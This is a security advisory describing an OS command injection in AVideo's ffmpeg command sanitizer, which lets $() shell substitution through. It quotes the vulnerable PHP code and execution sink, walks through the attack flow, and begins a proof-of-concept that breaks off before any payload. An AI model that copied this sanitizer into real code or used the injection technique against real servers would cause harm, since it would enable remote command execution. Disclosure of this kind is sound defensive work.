GitHub Security Advisory: GHSA-pmj8-r2j7-xg6c
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 8.1)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand()

Details:
## Summary

The `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`&&`, `;`, `|`, `` ` ``, `<`, `>`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.

## Details

**Vulnerable sanitization function** (`plugin/API/standAlone/functions.php:59-82`):

```php
function sanitizeFFmpegCommand($command)
{
    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];
    
    // Remove dangerous characters
    $command = str_replace('&&', '', $command);
    $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);
    $command = preg_replace('/[;|`<>]/', '', $command);  // Missing: $ ( ) \n
    
    // Ensure it starts with an allowed prefix
    foreach ($allowedPrefixes as $prefix) {
        if (strpos(trim($command), $prefix) === 0) {
            return $command;
        }
    }
    return '';
}
```

The character class `[;|`<>]` on line 70 does not include `$`, `(`, `)`, or `\n`. This means `$(...)` command substitution passes through completely unmodified.

**Execution sink** (`objects/functionsExec.php:656-658`):

```php
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";
```

The `addcslashes($command, '"')` call at line 639 only escapes double-quote characters. The `$()` construct is preserved intact and interpreted by `sh` as command substitution within the double-quoted string.

**Execution flow:**
1. Attacker sends `codeToExecEncrypted` parameter to `plugin/API/standAlone/ffmpeg.json.php`
2. Standalone encoder calls main server's unauthenticated `decryptString` API to decrypt
3. Decrypted `ffmpegCommand` passes through `sanitizeFFmpegCommand()` — `$()` is NOT stripped
4. Command passes prefix check (starts with `ffmpeg`)
5. `execAsync()` wraps it in `sh -c "..."` — `$()` is evaluated as command substitution

**Auth barrier analysis:**
- Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds
- Key is `sha256(saltV2)` on the main server; `saltV2` is generated by `random_bytes(16)` — cryptographically strong
- IV is `substr(sha256(systemRootPath), 0, 16)` — predictable but insufficient alone
- On legacy installations without `saltV2`, falls back to `$global['salt']` which may be weaker
- The `decryptString` API endpoint (`API.php:5963`) is unauthenticated, enabling probing but not payload crafting

## PoC

Assuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):

```bash
# Step 1: Craft the malicious ffmpeg command
# $() passes sanitization; curl -o avoids needing > which would